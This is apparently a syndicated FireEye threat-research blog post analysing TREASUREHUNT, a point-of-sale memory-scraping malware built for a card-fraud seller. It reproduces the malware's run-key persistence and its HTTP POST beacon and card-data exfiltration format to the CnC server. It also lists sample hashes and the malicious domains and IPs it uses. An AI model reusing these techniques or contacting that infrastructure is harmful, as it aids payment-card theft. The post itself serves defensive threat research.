TREASUREHUNT: A Custom POS Malware Tool

Since early 2015, FireEye Threat Intelligence has observed the
significant growth of point-of-sale (POS) malware families in
underground cyber crime forums. POS malware refers to malicious
software that extracts payment card information from memory and
usually uploads that data to a command and control (CnC) server.

Although the PCI DSS rules changed in October 2015, leaving
retailers who have not transitioned from existing “swipe” cards to EMV
or “chip” enabled cards liable for card present fraud in more ways
than before, many retailers are still in the process of transitioning
to chip-enabled card technology. Criminals appear to be racing to
infect POS systems in the United States before US retailers complete
this transition. In 2015, more than a dozen new POS malware families
were discovered.[1]

POS malware may be freely available, available for purchase, or
custom-built for specific cyber criminals. Free tools are often a
result of malware source code being leaked, and tend to be older and
more easily detected by security software. POS malware available for
purchase may be newly developed tools or modified versions of older
tools. Then there is another class of POS malware that is developed
for use exclusively by a particular threat group.

In this article we examine TREASUREHUNT, POS malware that appears to
have been custom-built for the operations of a particular “dump shop,”
which sells stolen credit card data. TREASUREHUNT enumerates running
processes, extracts payment card information from memory, and then
transmits this information to a command and control server.

TreasureHunter Version 0.1

TREASUREHUNT, which is briefly described here,
gets its name from a specific string visible in the binary:

        C:\Users\Admin\documents\visual studio 2012\Projects\treasureHunter\Release\treasureHunter.pdb

Some samples contain a string referencing the version number 0.1:

        TreasureHunter version 0.1
Alpha, created by Jolly Roger
        (jollyroger@prv.name) for
BearsInc. Greets to Xylitol and co.

In a typical scenario, TREASUREHUNT would be implanted on a POS
system through the use of previously stolen credentials or through
brute forcing common passwords that allow access to poorly secured POS systems.

When executed, TREASUREHUNT installs itself to the %APPDATA%
directory and sets up a registry ‘run’ key for persistence:

        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jucheck

The malware will then initiate a beacon to a CnC server. The
connection to the CnC server is via HTTP POST:

POST /megastock/gate.php?request=true
HTTP/1.1
Content-Type:
application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2;
SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
2.0.50727)
Host: millionjam[.]eu
Content-Length: 78


Connection: Keep-Alive

request=a0edee4769109a&use=6fGhtyNfd97Jqw3&id=[REDACTED]

The ‘request’ value on the POST data is the encoded string
‘GETKEYS’. The ‘use’ string is hardcoded and may be a campaign
identifier. The ’id‘ is a unique identifier for the compromised
system. The response from the CnC server is expected to contain the
encoded string ‘success’.

The malware scans all running processes and ignores processes that
contain System33, SysWOW64, or \Windows\explorer.exe in their module
names. It searches for payment card data and, if found, sends the data
encoded back to the CnC server.

When payment card data is found, it is sent back to the CnC server using:

        POST  /gate.php?report=true

The data sent back contains the following tags:

        report=<encoded_track_data>&id=<encoded_data>

The operators control the compromised systems and harvest stolen
payment card information through a web interface located on the CnC server.

Figure 1: Login interface on a TREASUREHUNT CnC server

All of the TREASUREHUNT samples identified so far contain the same
compilation timestamp of 2014-10-19 07:14:39. This is likely an
artifact of the builder rather than the time the samples were actually compiled.

MD5

Domain

Path

cec2810556c63e9c225afb6a5ca58bc1

millionjam.eu

/megastock/gate.php

cb75de605c171e36c8a593e337275d8f

cortykopl.com

/sdfsgsdsdssdf/gate.php

6a9348f582b2e121a5d9bff1e8f0935f

91.232.29.83

/sdfsgsdsdssdf/gate.php

070e9a317ee53ac3814eb86bc7d5bf49

179.43.160.34

/wp-content/temp/gate.php

3e2003878b364b5d77790109f24c9137

3sipiojt.com

/noth/gate.php

21f99135f836fb4d3f4685d704a4460d

friltopyes.com

/southcal/gate.php

ea6248e4ddd080e60e6140ab0f8562e1

seatrip888.eu

/gate.php

48692beb88058652115b5c447cd28589

friltopyes.com

/alabol/gate.php

9f9c2e6072e0a233631d234bdcf1b293

friltopyes.com

/nothcal/gate.php

         

Table 1: TREASUREHUNT v0.1 hashes and CnC details

TreasureHunter Version 0.1.1

We identified more recent and slightly modified versions of
TREASUREHUNT. While the compile timestamp remains the same as the
previous version, the samples were first observed on Nov. 25, 2015,
and March 3, 2016. The only significant change in this version is that
the malware stores encoded configuration data in the NTFS alternate
data streams (ADS) of the file %USERPROFILE%\ntuser.ini. We refer to
these samples as version 0.1.1” due to the presence of the following string:

        TreasureHunter version 0.1.1
Alpha, created by Jolly Roger
        (jollyroger@prv.name) for
BearsInc. Greets to Xylitol and co.

MD5

Domain

Path

2dfddbc240cd6e320f69b172c1e3ce58

logmeinrescue.us.com

/system/oauth/gate.php

Table 2: TREASUREHUNT v0.1.1 hashes and Cnc details

Timeline

Because the TREASUREHUNT samples we’ve observed all have the same
compile time, we need an alternate means to determine a timeline of
the malware’s development and use. We used the dates when the malware
samples were first seen by VirusTotal or by FireEye’s Dynamic Threat
Intelligence (DTI) along with the domain registration date of the CnC
server (if applicable). Based on those dates, the earliest identified
sample was observed two months after the October 2014 compile date.

Figure 2: Timeline of TREASUREHUNT activity

Using this data, TREASUREHUNT appears to have been first deployed in
late 2014 and was seen throughout 2015 and into 2016.

The relatively sparse sample set may indicate that TREASUREHUNT is
being deployed in a targeted manner rather than being propagated indiscriminately.

Underground Connections

TREASUREHUNT contains an interesting string that points to possible
underground connections:

        TreasureHunter version 0.1
Alpha, created by Jolly Roger
        (jollyroger@prv.name) for
BearsInc. Greets to Xylitol and co.

The reference to “BearsInc” is an indication that TREASUREHUNT was
developed exclusively for a specific cybercrime operation. BearsInc is
an actor on an underground cybercrime forum dedicated to credit card
fraud. BearsInc has advertised stolen payment card information for sale.

Figure 3: An advertisement by BearsInc on an
underground forum

The developer of TREASUREHUNT identifies as “Jolly Roger” and uses
the email address jollyroger@prv.name. Consistent with the pirate
theme, the web interface through which compromised computers are
controlled makes use of the icon seen in Figure 4.




Figure 4: Icon seen in web interface

The “Jolly Roger” alias and the pirate theme are reminiscent of a
malware family from 2013 known as the Jolly
Roger Stealer
. This malware was advertised by “SynapseSoft”
using the email addresses jr@exploit.im and jolly_roger@pandion.im.
The connection between this “Jolly Roger” and the author of
TREASUREHUNT remains unclear and there are no significant code
overlaps among the two.

Xylitol is a security researcher who has frequently exposed malware
operators and this reference is likely a taunt directed at the
security community.

Conclusion

In the world of POS threats, there has been a rise in both
underground offerings as well as new malware found in active use. The
demand is likely due to the ongoing transition to EMV chip and PIN
technology in the United States, which will eventually render these
techniques largely useless. While some cybercriminals are looking
ahead in an effort to develop ways to exploit chip and PIN (as well as
near-field communication technologies), many cyber criminals are
looking take advantage of memory scraping POS malware while it still works.

With an increasing number of major firms transitioning to the more
secure chip-enabled cards, we expect to see cyber criminals
increasingly turn their attention to smaller retailers and banks that
may not be as prepared for the transition.

This article originally appeared on Visa Threat Intelligence,
powered by FireEye. Click here for more information on Visa
Threat Intelligence, powered by FireEye
.

[1] Mandiant’s 2015
M-Trends report
notes that as more retailers adopt EMV
technology, threat actors appear to sidestepping EMV and shifting to
“softer targets” including retailers still using traditional POS
systems, e-commerce companies, and payment processors.

This is a Security Bloggers Network syndicated blog post authored by Nick Harbour. Read the original post at: Threat Research Blog